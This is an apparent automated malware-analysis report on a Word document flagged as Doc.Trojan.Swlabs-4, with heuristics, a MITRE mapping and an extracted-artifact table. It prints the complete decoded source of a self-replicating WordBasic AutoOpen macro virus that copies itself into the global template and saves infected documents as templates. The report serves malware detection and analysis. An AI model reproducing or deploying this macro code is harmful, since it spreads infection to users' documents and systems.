MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file contains a legacy WordBasic AutoOpen macro, identified by heuristics and the script content. This macro is designed to copy itself to global templates, which is a common technique for establishing persistence or spreading to other documents. The ClamAV detection further confirms its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Swlabs-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Swlabs-4
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1533 bytes |
SHA-256: 40250f16985fdc9851298de31b90e145289666ca248f0bd9d3faa559eecdcfc4 |
|||
|
Detection
ClamAV:
Doc.Trojan.Swlabs-4
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim FName$
Dim MacName$
On Error GoTo -1: On Error GoTo ErrorHandler
Rem SkamWerks Labs Presents the Victory is ours. Created by Cheezhed
WordBasic.FileSummaryInfo Subject:="Green Bay Packers -- Super Bowl XXXI Champions"
FName$ = WordBasic.[FileName$]()
MacName$ = FName$ + ":AutoOpen"
If WordBasic.[MacroFileName$]("AutoOpen") = "" Then
WordBasic.MacroCopy MacName$, "Global:AutoOpen", 1
WordBasic.MacroCopy MacName$, "Global:FileNew", 1
WordBasic.MacroCopy MacName$, "Global:FileSave", 1
WordBasic.MacroCopy MacName$, "Global:GreenBay", 1
ErrorHandler:
On Error GoTo -1: On Error GoTo AutoOpenHandler
MacName$ = FName$ + ":AutoOpen"
WordBasic.MacroCopy "Global:AutoOpen", MacName$, 1
AutoOpenHandler: On Error GoTo -1: On Error GoTo FileNewHandler
MacName$ = FName$ + ":FileNew"
WordBasic.MacroCopy "Global:FileNew", MacName$, 1
FileNewHandler: On Error GoTo -1: On Error GoTo FileSaveHandler
MacName$ = FName$ + ":FileSave"
WordBasic.MacroCopy "Global:FileSave", MacName$, 1
FileSaveHandler:
If WordBasic.[FileName$]() <> "" Then
WordBasic.FileSaveAs Format:=1
End If
On Error GoTo 0:
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.